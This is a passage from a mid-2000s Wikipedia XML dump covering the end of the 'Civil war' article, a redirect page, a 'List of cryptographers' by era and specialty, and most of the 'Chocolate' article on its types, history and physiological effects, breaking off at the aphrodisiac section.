Civil wars fought over religion have tended to occur more frequently in [[monotheistic]] societies than in [[polytheistic]] societies; this has been explained as being due to the fact that the latter tend to be more &quot;flexible&quot; in terms of dogma, to allow for some latitude in belief. In [[Europe]] through the [[Middle Ages]], the Christianity of the great bulk of the population was influenced by pagan tradition. With the great majority of the population [[illiterate]], access to the [[Bible]] was limited and led to a significant amount of [[syncretism]] between Christian and pagan elements. With religion so loosely applied, it was rare for people to feel particularly oppressed by it. There were periodic appearances of [[heresies]], such as that of the [[Albigensians]], which led to violence, but historians tend to view these to be the product of [[peasant revolt]]s rather than themselves motivators of a civil war.

As religions tended to become more rigidly defined and understood by their followers, inter-religious tensions generally increased. The rise of [[Islam]] witnessed a rash of uprisings against non-Islamic rulers soon after its appearance. Subsequent Islamic history has been marked by repeated civil conflicts, mostly stemming out of the [[Shi'ite]]-[[Sunni]] divide. In Europe the [[Protestant Reformation]] had a similar effect, sparking years of both civil and international wars of religion. Civil wars between [[Roman Catholicism]] and [[Protestantism]] consumed France in the [[Wars of Religion]], the Netherlands during the [[Eighty Years' War]], Germany during the [[Thirty Years' War]], and more recently, [[The Troubles]] of [[Northern Ireland]]. Religious disputes among Protestant sects also played an important role in the [[English Civil Wars]], while official persecution of Catholics during the [[French Revolution]] spurred the [[Revolt in the Vendée]].

===Revolutions===
A [[revolution]] is generally seen as a civil war fought over issues of ideology, over how power should be organized and distributed, not merely over which individuals hold it. The classic example of a revolution, and by some arguments the first is the [[French Revolution]], which is seen to have pitted the middle class and urban poor of France against the aristocracy and monarchy. Some argue that revolutions are a modern continuation of the peasant revolts of the past. Unlike peasant revolts, however, revolutions are almost always lead by members of the educated, but disaffected, middle class who then rally the large mass of the population to their cause.  Others see ideology as merely replacing religion as a justification and motivation for violence that is fundamentally caused by socioeconomic factors. To be successful revolutions almost always require armed force to be employed, sometimes escalating to a civil war, such as in the [[Chinese Civil War]]. In some cases, such as the French and [[Russian Revolution of 1917|Russian Revolution]]s the revolutionaries succeed in gaining power through a quick coup or localized uprising, but a civil war results from [[counterrevolution]]ary forces organizing to crush the revolution.

===Separatist revolts===
One of the most common causes of civil wars, especially in the post-[[Cold War]] world has been separatist violence. [[Nationalism]] can be seen as similar to both a religion and an ideology as a justification for war rather than a root cause of conflict. All modern states attempt to hold a monopoly on internal military force. For separatist civil wars to break out thus either the national army must fracture along ethnic, religious, or national lines as happened in [[Yugoslavia]]; or more commonly a modern separatist conflict takes the form of [[asymmetrical warfare]] with separatists lightly armed and disorganized, but with the support of the local population such groups can be hard to defeat. This is the route taken by most liberation groups in colonies, as well as forces in areas such as [[Eritrea]] and [[Sri Lanka]]. Regional differences may be enhanced by differing economies, as in the [[American Civil War]]. National minorities are also often religious minorities and wars of religion may link closely into separatist conflicts.

===Coups===
[[Coup d'état|Coups d'état]] are by definition quick blows to the top of a government that do not result in the widespread violence of a civil war. On occasion a failed coup, or one that is only half successful, can precipitate a civil war between factions. These wars often quickly try to pull in larger themes of ideology, nationalism, or religion to try to win supporters among the general population for a conflict that in essence is an intraelite competition for power.

==Reasons for war==
Almost every nation has minority groups, religious plurality, and ideological divisions, but not all plunge into civil war. [[Sociologist]]s have long searched for what variables trigger civil wars. In the modern world most civil wars occur in nations that are poor, autocratic, and regionally divided. However, the United States was one of the wealthiest and most democratic countries in the world at the time of its bloody civil war.

Some models to explain the occurrence of civil wars stress the importance of change and transition. According to one such line of reasoning, the American Civil War was caused by the growing economic power of the North relative to the South; the [[Lebanese Civil War]] by the upsetting of the delicate demographic balance by the increase in the Shi'ite population; the [[English Civil War]] by the growing power of the middle class and merchants at the expense of the aristocracy.

Competition for resources and wealth within a society is seen as a frequent cause for civil wars, however economic gain is rarely the justification espoused by the participants. [[Marxist]] historians stress economic and class factors arguing that civil wars are caused by imperialist rulers battling each other for greater power, and using tools such as nationalism and religion to delude people into joining them.

Not only are the causes of civil wars widely studied and debated, but their persistence is also seen as an important issue. Many civil wars have proved especially intractable, dragging on for many decades. One contributing factor is that civil wars often become [[proxy war]]s for outside powers that fund their partisans and thus encourage further violence.

Research related to the [[democratic peace theory]] have studied civil wars and democracy. Research shows that the most democratic and the most authoritarian states have few civil wars, and intermediate regimes the most. The probability for a civil war is also increased by political change, regardless whether toward greater democracy or greater autocracy. Intermediate regimes continue to be the most prone to civil war, regardless of the time since the political change. In the long run, since intermediate regimes are less stable than autocracies, which in turn are less stable than democracies, durable democracy is the most probable end-point of the process of [[democratization]] [http://www.worldbank.org/research/conflict/papers/peace.htm]. The fall of [[Communism]] and the increase in the number of democratic states were accompanied by a sudden and dramatic decline in total warfare, interstate wars, [[ethnic]] wars, [[revolutionary]] wars, and the number of [[refugees]] and [[displaced person]]s [http://members.aol.com/CSPmgm/conflict.htm].

==Post war==
Rebuilding a society in the wake of a civil war is often difficult. In an international war the two parties merely have to agree to a cease-fire and can, for the most part, go their own way. In a civil war not only must violence stop but the factions involved must also learn to coexist with each other. This can often prove difficult, much of the population will have lost friends or loved ones in the war, losses they blame on their opponents. Civil wars also tend to greatly entrench any ethnic, religious, or ideological divisions within a society and restoring unity can be very difficult. The record of [[United Nations]] [[peacekeeping]] forces in healing such war-torn societies is mixed.

==Lists of civil wars==
* [[List of civil wars]]
* [[List of fictional wars]]

==See also==
*[[Wars of national liberation]]

==External links==
* [http://www.genocide.org.uk/ Sri Lanka Civil War]

[[Category:War]]

[[bg:Гражданска война]]
[[ca:Guerra Civil]]
[[cs:Občanská válka]]
[[da:Borgerkrig]]
[[de:Bürgerkrieg]]
[[es:Guerra civil]]
[[fr:Guerre civile]]
[[id:Perang saudara]]
[[he:מלחמת אזרחים]]
[[lt:Pilietinis karas]]
[[nl:Burgeroorlog]]
[[ja:内戦]]
[[no:Borgerkrig]]
[[nn:Borgarkrig]]
[[pt:Guerra civil]]
[[ro:Război civil]]
[[ru:Гражданская война]]
[[sk:Občianska vojna]]
[[sl:Državljanska vojna]]
[[fi:Sisällissota]]
[[sv:Inbördeskrig]]
[[wa:Guere civile]]
[[zh:内战]]</text>
    </revision>
  </page>
  <page>
    <title>Castagna</title>
    <id>7086</id>
    <revision>
      <id>15905175</id>
      <timestamp>2004-07-30T17:58:40Z</timestamp>
      <contributor>
        <username>Solipsist</username>
        <id>49943</id>
      </contributor>
      <comment>change to redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Andrea del Castagno]]</text>
    </revision>
  </page>
  <page>
    <title>List of cryptographers</title>
    <id>7088</id>
    <revision>
      <id>41605880</id>
      <timestamp>2006-02-28T13:29:03Z</timestamp>
      <contributor>
        <username>Mangojuice</username>
        <id>178098</id>
      </contributor>
      <minor />
      <comment>/* Asymmetric-key algorithm inventors */</comment>
      <text xml:space="preserve">{{cleanup-date|February 2006}}

See also: [[:Category:Cryptographers|Category:Cryptographers]] for an exhaustive list.

==Pre twentieth century==

* [[Charles Babbage]], [[United Kingdom|UK]], [[19th century]] [[mathematician]] who, about the time of the [[Crimean War]], secretly developed an effective attack against [[polyalphabetic substitution]] ciphers.  
* [[Leone Battista Alberti]], [[polymath]]/universal [[genius]], inventor of [[polyalphabetic substitution]], and what may have been the first mechanical encryption aid.
* [[Giovanni Battista della Porta]], author of a seminal work on [[cryptanalysis]].
* [[Julius Caesar]], Roman [[general]]/[[politician]], has the [[Caesar cipher]] is named after him, and a [[lost work]] on cryptography by Probus (probably Valerius Probus) is claimed to have covered his use of military cryptography in some detail. It is likely that he did not invent the cipher named after him, as other [[substitution cipher]]s were in use well before his time. 
* [[Friedrich Kasiski]], author of the first published attack on the [[Vigenère cipher]], now known as the [[Kasiski test]].
* [[Auguste Kerckhoffs]], known for contributing cipher design principles.
* [[Johannes Trithemius]], mystic and first to describe ''tableaux'' (tables) for use in [[polyalphabetic substitution]]. Wrote an early work on [[steganography]] and cryptography generally.
* [[Philips van Marnix, lord of Sint-Aldegonde]], deciphered Spanish messages for [[William_I_of_Orange|William the Silent]] during the Dutch revolt against the Spanish.
* [[Charles Wheatstone|Sir Charles Wheatstone]], inventor or the so-called [[Playfair cipher]] and general polymath.

==WWI and WWII Wartime Cryptographers==
* [[Alistair Denniston]], UK, director of [[GC&amp;CS]] at [[Bletchley Park]] during WWII. 
* [[Nigel de Grey]], UK, [[Room 40]], played an important role in the decryption of the [[Zimmermann Telegram]] during WWI
* [[William F. Friedman]], US, introduced statistical methods into [[cryptography]]. 
* [[Solomon Kullback]], US, [[Signals Intelligence Service|SIS]].
* [[Dilwyn Knox]], UK, [[Room 40]] and [[GC&amp;CS]], broke commercial [[Enigma (machine)|Enigma]] cipher. 
* [[Leo Marks]], UK, [[Special Operations Executive|SOE]] cryptography director.
* [[Marian Rejewski]]:  [[Poland]], first broke  [[Germany|German]] [[Enigma machine|Enigma]] [[cipher]]s in [[December]], [[1932]].
* [[John Joseph Rochefort]], US, made major contributions to the break into [[JN-25]] after the [[attack on Pearl Harbor]]. 
* [[Frank Rowlett]], US, [[Signals Intelligence Service|SIS]], leader of the team that broke [[Purple]].
* [[Jerzy Różycki]]:  [[Poland]], helped break German [[Enigma (machine)|Enigma]] ciphers.
* [[Laurance Safford]], US, chief cryptographer for the US Navy for 2 decades+, including WWII.
* [[Abraham Sinkov]], US, [[Signals Intelligence Service|SIS]].
* [[John Tiltman]], UK, [[Bletchley Park]] and [[GCHQ]].
* [[Alan Turing|Alan Mathison Turing]], UK, [[Bletchley Park]], a chief cryptographer and renowned [[Computer Science|computer scientist]].
* [[William Tutte]], UK, [[Bletchley Park]], broke Lorenz SZ 40/42 encryption machine (codenamed Tunny) using the [[Colossus computer]].
* [[Gordon Welchman]], UK, head of [[Bletchley Park]]'s Hut Six (German Army and Air Force [[cipher]] [[decryption]]). 
* [[Herbert Yardley]], US, [[MI8]], author &quot;The American Black Chamber&quot;. 
* [[Henryk Zygalski]]:  [[Poland]], helped break German [[Enigma machine|Enigma]] ciphers.

==Other pre-computer==
* [[Elizebeth Friedman]], US, [[Coast Guard]] and [[United States Department of the Treasury|US Treasury Department]] cryptographer.
* [[Claude Elwood Shannon]], US, founder of [[information theory]], proved the [[one-time pad]] to be unbreakable.

==Modern==

See also: [[:Category:Modern cryptographers|Category:Modern cryptographers]] for an exhaustive list.


===Symmetric-key algorithm inventors===
* [[Ross Anderson]], UK, [[University of Cambridge]], inventor of the [[Serpent (cipher)|Serpent]] cipher.
* [[Paulo S. L. M. Barreto]], [[Brazil|Brazilian]], co-inventor of the [[Whirlpool (algorithm)|Whirlpool hash function]].
* [[George Blakley]], US, independent inventor of [[secret sharing]].
* [[Joan Daemen]], [[Belgium|Belgian]], co-developer of [[Rijndael]] which became the [[Advanced Encryption Standard]] (AES).
* [[Horst Feistel]], US, [[IBM]], namesake of [[Feistel network]]s.
* [[Lars Knudsen]], [[Denmark]]
* [[Ralph Merkle]], US, inventor of [[Merkle tree]]s.
* [[Bart Preneel]], [[Belgium|Belgian]], co-inventor of [[RIPEMD-160]].
* [[Vincent Rijmen]], [[Belgium|Belgian]], co-developer of [[Rijndael]] which became the [[Advanced Encryption Standard]] (AES).
* [[Ron Rivest|Ronald L. Rivest]], US, [[MIT]], inventor of [[RC5|RC cipher series]] and [[MD5|MD algorithm series]].
* [[Adi Shamir]], Israel, [[Weizmann Institute]], inventor of [[secret sharing]].

===Asymmetric-key algorithm inventors===
* [[Leonard Adleman]], US, [[USC]], the 'A' in [[RSA]].
* [[David Chaum]], US, inventor of [[blind signature]]s.
* [[Whitfield Diffie]], US, (public) co-inventor of the [[Diffie-Hellman]] key-exchange protocol.
* [[Taher Elgamal]], US (born [[Egypt|Egyptian]]), inventor of the [[Elgamal encryption|Elgamal discrete log cryptosystem]].
* [[Shafi Goldwasser]], US and Israel, [[MIT]] and [[Weizmann Institute]], co-discoverer of [[zero-knowledge proofs]].
* [[Martin Hellman]], US, (public) co-inventor of the [[Diffie-Hellman]] key-exchange protocol.
* [[Neal Koblitz]], independent co-creator of [[elliptic curve cryptography]].
* [[Alfred Menezes]], co-inventor of [[MQV]], an [[elliptic curve cryptography|elliptic curve]] technique.
* [[Silvio Micali]], US (born Italian), [[MIT]], co-discoverer of [[zero-knowledge proofs]].
* [[Victor S. Miller|Victor Miller]], independent co-creator of [[elliptic curve cryptography]].
* [[Ron Rivest|Ronald L. Rivest]], US, [[MIT]], the 'R' in [[RSA]].
* [[Adi Shamir]], Israel, [[Weizmann Institute]], the 'S' in [[RSA]].

===Cryptanalysts===
* [[Ross Anderson]], UK
* [[Matt Blaze]], US
* [[Dan Boneh]], US, [[Stanford University]]
* [[Ian Goldberg]], US
* [[Paul Kocher]], US, discovered [[differential power analysis]]
* [[Mitsuru Matsui]], Japan, discoverer of [[linear cryptanalysis]]
* [[David Wagner]], US, [[UC Berkeley]]
* [[Xiaoyun Wang]], [[China]], known for [[MD5]] and [[SHA-1]] [[cryptographic hash function|hash function]] attacks.

===Algorithmic number theorists===
* [[Daniel J. Bernstein]], US, known for battle with US government in [[Bernstein v. United States]]
* [[Don Coppersmith]], US

===Theoreticians===
* [[Mihir Bellare]], US, [[UCSD]], co-proposer of the [[Random oracle]] model
* [[Gilles Brassard]], Canada, [[Université de Montréal]]. Co-inventor of [[quantum cryptography]].
* [[Claude Crépeau]], Canada, [[McGill University]].
* [[Oded Goldreich]], Israel, [[Weizmann Institute]], author of [[Foundations of Cryptography]].
* [[Shafi Goldwasser]], US and Israel
* [[Silvio Micali]], US
* [[Charles Rackoff]], co-discoverer of [[zero-knowledge proof]]s.
* [[Philip Rogaway]], US, [[UC Davis]], co-proposer of the [[Random oracle]] model.

===Government cryptographers===
* [[Clifford Cocks]], UK, [[GCHQ]], secret inventor of the algorithm later known as [[RSA]].
* [[James H. Ellis]], UK, [[GCHQ]], secretly proved the possibility of asymmetric encryption. 
* [[Malcolm Williamson (cryptographer)|Malcolm Williamson]], UK, [[GCHQ]], secret inventor of the protocol later known as [[Diffie-Hellman]].

===Cryptographer businesspeople===
* [[Bruce Schneier]], US, CTO and founder of [[Counterpane|Counterpane Internet Security, Inc.]] and cryptography author.
* [[Scott Vanstone]], Canada, founder of [[Certicom]] and [[elliptic curve cryptography]] proponent.

==See also==
* [[Cryptography]]

==External links==
* [http://www.swcp.com/~mccurley/cryptographers/cryptographers.html List of cryptographers' home pages]

[[Category:Cryptographers]]
[[Category:Lists of people by occupation|cryptographers]]
[[ko:&amp;#50516;&amp;#54840;&amp;#54617;&amp;#51088;]]
[[ja:暗号研究者の一覧]]</text>
    </revision>
  </page>
  <page>
    <title>Chocolate</title>
    <id>7089</id>
    <revision>
      <id>42140288</id>
      <timestamp>2006-03-04T02:12:02Z</timestamp>
      <contributor>
        <username>Johann Wolfgang</username>
        <id>309818</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/70.81.94.98|70.81.94.98]] ([[User talk:70.81.94.98|talk]]) to last version by Prodego</comment>
      <text xml:space="preserve">[[Image:Chocolate.jpg|250px|thumb|right|Chocolate most commonly comes in dark, milk, and white varieties, with cocoa solids contributing to the brown coloration.]]
'''Chocolate''' (see below for etymology) describes a number of raw and processed foods that originate from the tropical [[cacao]] tree.  It is a common ingredient in many kinds of [[sweet]]s, [[Chocolate confectionery|chocolate candy]], 
[[ice cream]]s, [[cookie]]s, [[cake]]s, [[pie]]s, and desserts. It is one of the most popular flavours in the [[world]].

Chocolate is made from the fermented, roasted, and ground beans taken from the pod of the tropical cacao tree ''[[Theobroma cacao]]'' native to [[Central America]], which has an intensely flavoured [[Bitter (taste)|bitter]] taste. The resulting products are known as &quot;chocolate&quot; or, in some parts of the world, [[cocoa]].

The bean products are known under different names in different parts of the world. In the [[North America|America]]n chocolate industry:
*[[Cocoa]] is the solids of the cacao bean, 
*[[Cocoa butter]] is the [[fat]] component, and 
*Chocolate is a combination of the solids and the fat.

It is the solid and the fat combination, sweetened with [[sugar]] and other ingredients, that is made into chocolate bars and which is commonly referred to as ''chocolate'' by the public. 

It can also be made into [[beverage]]s (called ''cocoa'' and ''[[hot chocolate]]''), and this was the original form used by the Aztecs, the Mayas, and the first European consumers.

Chocolate is often produced as small moulded forms in the shape of [[animal]]s, people, or inanimate objects to celebrate festivals worldwide. For example, moulds of [[rabbits]] or [[Eggs (food)|eggs]] for [[Easter]], coins or [[Saint Nicholas]] (Santa Claus) for [[Christmas]], and hearts for [[Valentine's Day]]. 

==Types==
===Classification===
[[Image:Bowl of truffles.jpg|300px|thumb|Chocolate truffles typically have a thin shell of chocolate with a soft centre.]]
Chocolate is an extremely popular ingredient, and it is available in many types. Different forms and flavours of chocolate are produced by varying the quantities of the different ingredients. Other flavours can be obtained by varying the time and temperature when roasting the beans.

*'''Unsweetened chocolate''' is pure [[chocolate liquor]], also known as bitter or baking chocolate. It is unadulterated chocolate: the pure, ground roasted chocolate beans impart a strong, deep chocolate flavour. With the addition of sugar, however, it is used as the base for cakes, brownies, confections, and cookies.
*'''Dark chocolate''' is chocolate without milk as an additive.  It is sometimes called &quot;plain chocolate&quot;. The U.S. Government calls this &quot;sweet chocolate&quot;, and requires a 15% concentration of chocolate liquor.  European rules specify a minimum of 35% cocoa solids.
*'''Milk chocolate''' is chocolate with milk powder or condensed milk added. The [[United States|U.S.]] Government requires a 10% concentration of chocolate liquor.  [[European Union|EU]] regulations specify a minimum of 25% cocoa solids.
*'''Semisweet chocolate''' is often used for cooking purposes.  It is a dark chocolate with high sugar content.
*'''Bittersweet chocolate''' is chocolate liquor (or unsweetened chocolate) to which sugar, more cocoa butter, [[lecithin]], and vanilla has been added. It has less sugar and more liquor than semisweet chocolate, but the two are interchangeable in baking. The best quality bittersweet and semisweet chocolates are produced as couverture; many brands now print on the package the percentage of cocoa (as chocolate liquor and added cocoa butter) contained. The rule is that the higher the percentage of cocoa, the less sweet the chocolate will be. 
*'''Couverture''' is a term used for chocolates rich in cocoa butter. Popular brands of couverture used by professional pastry chefs and often sold in gourmet and specialty food stores include: [[Valrhona]], Felchlin, [[Lindt &amp; Sprüngli]], Cacao Barry, Callebaut, and [[Guittard]]. These chocolates contain a high percentage of cocoa (sometimes 70% or more) and have a total fat content of 36-40%. 
*'''[[White chocolate]]''' is a confection based on [[cocoa butter]] without the cocoa solids.
*'''Cocoa powder.''' There are two types of unsweetened baking cocoa available: natural cocoa (like the sort produced by Hershey's and Nestlé) and Dutch-process cocoa (such as the Hershey's European Style Cocoa and the Droste brand). Both are made by pulverising partially defatted chocolate liquor and removing nearly all the cocoa butter. Natural cocoa is light in colour and somewhat acidic with a strong chocolate flavour. Natural cocoa is commonly used in recipes which call for baking soda. Because baking soda is an alkali, combining it with natural cocoa creates a leavening action that allows the batter to rise during baking. Dutch-process cocoa is processed with alkali to neutralise its natural acidity. Dutch cocoa is slightly milder in taste, with a deeper and warmer colour than natural cocoa.  Dutch-process cocoa is frequently used for chocolate drinks such as hot chocolate due to its ease in blending with liquids. Unfortunately, Dutch processing destroys most of the flavanols present in cocoa.&lt;ref&gt;{{cite web | url=http://lowfatcooking.about.com/od/healthandfitness/a/chochealth.htm | title=Chocolate as a Health Food? | accessdate=2006-03-03}}&lt;/ref&gt;

Flavours such as [[mint]], [[orange (fruit)|orange]], or [[strawberry]] are sometimes added to chocolate. Chocolate bars frequently contain added ingredients such as [[peanut]]s, [[nut (fruit)|nut]]s, [[caramel]], or even crisped [[rice]].

===Definition===

Strictly speaking, chocolate is any product based 99% on cocoa solid and/or cocoa fat. Because it is used in a vast number of other foods, any change in the cost of making it has a huge impact on the industry. Adding ingredients is an aspect of the taste. On the other hand, reducing cocoa solid content, or substituting cocoa fat with a non-cocoa one, reduces the cost of making it. There has been disagreement in the EU about the definition of chocolate. 

* Some want to see the definition allowing for any cocoa solid content and any kind of fat in chocolate. This would allow a merely coloured and flavoured margarine to be sold as being chocolate. In some countries this happens, and a 50% to 70% cocoa solid dark-chocolate, with no additive, for domestic use, is hard to find and expensive.
* Others believe in adhering more strictly to the definition above.

[[Image:Chocolate_Valencia.jpg|thumb|250px|Chocolate can be moulded or, as in this Spanish art, sculpted.]]

==History==
===Etymology===
The name chocolate most likely comes from the [[Nahuatl language]] indigenous to central [[Mexico]], although it may have been influenced by the [[Mayan languages]]. One popular theory is that it comes from the Nahuatl word ''xocolatl'' ([[International Phonetic Alphabet|IPA]] {{IPA|/ɕɔ.kɔ.atɬ/}}), derived from ''xocolli'', bitter, and ''atl'', water. On the other hand, Mexican philologist Ignacio Davila Garibi proposed that &quot;Spaniards had coined the word by taking the Maya word ''chocol'' and then replacing the Maya term for water, ''haa'', with the Aztec one, ''atl''.&quot; But this theory assumes that the conquistadores would change indigenous words from two very different languages, while at the same time adopting hundreds of other words from these same languages as-is; a highly unlikely scenario.

In a recent article, linguists Karen Dakin and Søren Wichmann found that in many [[dialect]]s of Nahuatl, the name is 'chicolatl', rather than 'chocolatl'.  In addition, many languages in Mexico, such as Popoluca, Mixtec and Zapotec, and even languages spoken in the Philippines have borrowed this form of the word.  The word chicol-li refers to the beating sticks still used in some areas in cooking, and that are either a small straight stick with small strong twigs still on one end or a stiff plant stalk with the stubs of roots cleaned and trimmed. Since chocolate was originally served ceremonially with individual beater sticks, it seems quite likely that the original form of the word was 'chicolatl', which would have the etymology 'beater drink'. In many areas of Mexico, 'chicolear' means 'to beat, stir'.

===Origins===

The chocolate residue found in an [[Maya civilization|ancient Maya]] pot suggests that Maya were drinking chocolate 2,600 years ago, the earliest record of cacao use. The [[Aztecs]] associated chocolate with [[Xochiquetzal]], the goddess of fertility.  In the New World, chocolate was consumed in a bitter and spicy drink called ''xocoatl'', often seasoned with [[vanilla]], [[chile pepper]], [[achiote]] (which we know today as [[annatto]]) and [[pimento]].  Xocoatl was believed to fight fatigue, a belief that is probably attributable to the [[theobromine]] content.  Chocolate was an important luxury good throughout [[pre-Columbian]] [[Mesoamerica]], and cocoa beans were often used as currency. Other chocolate drinks combined it with such edibles as [[maize]] gruel (which acts as an emulsifier) and [[honey]].

The xocolatl was said to be an acquired taste.  [[Jose de Acosta]], a Spanish [[Society of Jesus|Jesuit]] missionary who lived in Peru and then Mexico in the later [[16th century]], wrote of it:

&lt;blockquote&gt;Loathsome to such as are not acquainted with it, having a scum or froth that is very unpleasant to taste. Yet it is a drink very much esteemed among the Indians, where with they feast noble men who pass through their country. The Spaniards, both men and women, that are accustomed to the country, are very greedy of this Chocolaté. They say they make diverse sorts of it, some hot, some cold, and some temperate, and put therein much of that &quot;chili&quot;; yea, they make paste thereof, the which they say is good for the stomach and against the catarrh.&lt;/blockquote&gt;

[[Christopher Columbus]] brought some cocoa beans to show Ferdinand and Isabella of Spain, but it remained for [[Hernando de Soto (explorer)|Hernando de Soto]] to introduce it to Europe more broadly.

The first recorded shipment of chocolate to the Old World for commercial purposes was in a shipment from [[Veracruz (city)|Veracruz]] to [[Seville]] in [[1585]]. It was still served as a beverage, but the Europeans added sugar and milk to counteract the natural bitterness and removed the chilli pepper, replacing it with another Mexican indigenous spice, vanilla. Improvements to the taste meant that by the [[17th century]] it was a luxury item among the European nobility.

At the end of the 18th century, the first form of solid chocolate was invented in [[Turin]] by [[Doret]]. This chocolate was sold in large quantities from [[1826]] by [[Pierre Paul Caffarel]]. In [[1819]] [[F. L. Cailler]] opened the first [[Switzerland|Swiss]] chocolate factory. In [[1828]] [[Netherlands|Dutchman]] [[Conrad J. van Houten]] patented a method for extracting the fat from cocoa beans and making powdered [[cocoa]] and [[cocoa butter]]. Van Houten also developed the so-called [[Dutch process chocolate|Dutch process]] of treating chocolate with [[alkali]] to remove the bitter taste. This made it possible to form the modern chocolate bar.  It is believed that the Englishman [[Joseph Fry]] made the first chocolate for eating in [[1847]], followed shortly after by the [[Cadbury-Schweppes|Cadbury]] brothers.

[[Daniel Peter]], a [[Switzerland|Swiss]] candle maker, joined his father-in-law's chocolate business. In [[1867]] he began experimenting with milk as an ingredient. He brought his new product, milk chocolate, to market in [[1875]]. He was assisted in removing the water content from the milk to prevent mildewing by a neighbour, a baby food manufacturer named [[Henri Nestlé]]. [[Rodolphe Lindt]] invented the process called ''conching'', which involves heating and grinding the chocolate solids very finely to ensure that the liquid is evenly blended.

==Physiological effects==

===Toxicity in animals===
{{main|theobromine poisoning}}
In sufficient amounts the [[theobromine]] found in chocolate is [[toxic]] to animals such as [[horse]]s, [[dog]]s, [[parrot]]s, [[vole]]s, and [[cat]]s ([[kitten]]s especially) because they are unable to [[metabolize|metabolise]] the chemical effectively.  If they are fed chocolate, the theobromine will remain in their [[bloodstream]] for up to 20 hours, and these animals may experience [[epileptic seizure]]s, [[myocardial infarction|heart attacks]], [[internal bleeding]], and eventually [[death]].  Medical treatment involves inducing [[vomiting]] within two hours of ingestion, or contacting a [[veterinarian]].

A typical 20-kilogram dog will normally experience intestinal distress after eating less than 240 grams of milk chocolate, but will not necessarily experience [[bradycardia]] or [[tachycardia]] unless it eats at least a half a kilogram of milk chocolate.  Dark, sweet chocolate has about 50% more theobromine and thus is more dangerous to dogs.  According to the [[Merck Veterinary Manual]], approximately 1.3 grams of baker's chocolate per kilogram of a dog's body weight (0.02 oz/lb) is sufficient to cause symptoms of toxicity.  For example, a typical 25-gram baker's chocolate bar would be enough to bring about symptoms in a 20-kilogram dog.

===Health benefits===
Recent studies have shown that cocoa or dark chocolate has potent health benefits for people. Dark chocolate, with its high cocoa content, is full of the [[flavonoid]]s [[epicatechin]] and [[gallic acid]], which are antioxidants that help protect blood vessels, promote cardiac health, and prevent cancer. It also has been effectively demonstrated to counteract mild [[hypertension]]. In fact, dark chocolate has more [[flavonoids]] than any other antioxidant-rich food such as red wine, green and black tea, and blueberries. There has even been a [[fad diet]] named &quot;Chocolate diet&quot; that emphasises eating chocolate and cocoa powder in capsules. However, consuming milk chocolate or white chocolate, or drinking milk with dark chocolate, appears to largely negate the health benefits. Chocolate is also a calorie-rich food with a high content of saturated fat, so daily intake of chocolate also requires reducing caloric intake of other foods.

Two-thirds of the fat in chocolate comes in the forms of a [[saturated fat]] called [[stearic acid]] and a monounsaturated fat called [[oleic acid]]. However, unlike other saturated fats, stearic acid does not raise levels of [[Low density lipoprotein|LDL]] [[cholesterol]] in the bloodstream&lt;ref&gt;{{cite web | url=http://www.ynhh.org/online/nutrition/advisor/chocolate.html | title=Chocolate:Food of the Gods. | publisher=Yale-New Haven Hospital | accessdate=2006-03-03}}&lt;/ref&gt;. A 2001 study by researchers at [[Penn State University]] found that the flavonoids in chocolate slowed the [[oxidation]] of LDL cholesterol, a process that is believed to lead to [[atherosclerosis]]&lt;ref&gt;{{cite web | url=http://www.ajcn.org/cgi/content/full/74/5/596 | title=Effects of cocoa powder and dark chocolate on LDL oxidative susceptibility and prostaglandin concentrations in humans | coauthors=Ying Wan, Joe A. Vinson, Terry D. Etherton, John Proch, Sheryl A. Lazarus and Penny M. Kris-Etherton | work=American Journal of Clinical Nutrition'', Vol. 74, No. 5, 596&amp;ndash;602 | year=November 2001}}&lt;/ref&gt;.

===Medical applications===

[[Mars, Incorporated]], a Virginia-based candy company, spends millions of dollars each year on flavanol research.  The company is in talks with pharmaceutical companies to license drugs based on synthesized cocoa flavanol molecules.  
According to Mars-funded researchers at [[Harvard]], the [[University of California]], and European universities, cocoa-based prescription drugs could potentially help treat diabetes, dementia and other diseases. [http://www.thestandard.com.hk/stdn/std/World/GG27Wd10.html]

Mars is presently marketing the [http://www.cocoavia.com/default.asp Cocoavia™ brand ], a line of [[functional food]] chocolates which have cholesterol-reducing [[phytosterol]]s and at least 100 [[milligram]]s of [[flavanols]].  The snacks are designed to be eaten primarily for heart benefits, and as such, Mars has recommended a regimen of two snacks per day.

=== Chocolate as a drug ===

Current research indicates that chocolate is a weak [[stimulant]] because of its content of [[theobromine]].[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=15549276]  
However, chocolate contains too little of this compound for a reasonable serving to create effects in humans that are on par with a [[coffee]] buzz.  The [[pharmacologist]] [[Ryan J. Huxtable]] aptly noted that &quot;[Chocolate is] more than a [[food]] but less than a [[Psychoactive drug|drug]]&quot;. However, chocolate is a very potent stimulant for [[dog]]s and [[horse]]s; its use is therefore banned in [[horse-racing]].  [[Theobromine]] is also a contributing factor in [[Acid Reflux|acid reflux]] because it relaxes the esophageal sphincter muscle, allowing stomach acid to more easily enter the esophagus.

Chocolate also contains caffeine in significant amounts, though less than tea or coffee, according to careful scientific studies and despite a few websites which claim otherwise. Some chocolate products contain synthetic caffeine as an [[additive]].

[[Image:Chocolate02.jpg|thumb|200px|Melting piece of a chocolate bar|]]

Chocolate also contains small quantities of the [[Cannabinoids#Endogenous Cannabinoids|endogenous cannabinoid]] [[anandamide]] and the cannabinoid breakdown inhibitors [[N-oleoylethanolamine]] and [[N-linolenoylethanolamine]]. Anandamides are produced naturally by the body, in such a way that their effects are extremely targeted (compared to the broad systemic effects of drugs like [[tetrahydrocannabinol]]) and relatively short-lived.  In experiments ''N''-oleoylethanolamine and ''N''-linolenoylethanolamine interfere with the body's natural mechanisms for breaking down endogenous cannabinoids, causing them to last longer. However, noticeable effects of chocolate related to this mechanism in humans have not yet been demonstrated.

===Pleasure of consuming chocolate===
Part of the pleasure of eating chocolate is ascribed to the fact that its [[melting point]] is slightly below human body temperature; it melts in the [[mouth]].  Chocolate intake has been linked with release of [[serotonin]] in the brain, which is thought to produce feelings of pleasure.

Research has shown that heroin addicts tend to have an increased liking for chocolate; this may be because it triggers [[dopamine]] release in the brain's [[reinforcement]] systems &amp;ndash; an effect, albeit a legal one, similar to that of [[opium]].  See also: [[chocoholic]].

===Chocolate as an aphrodisiac===
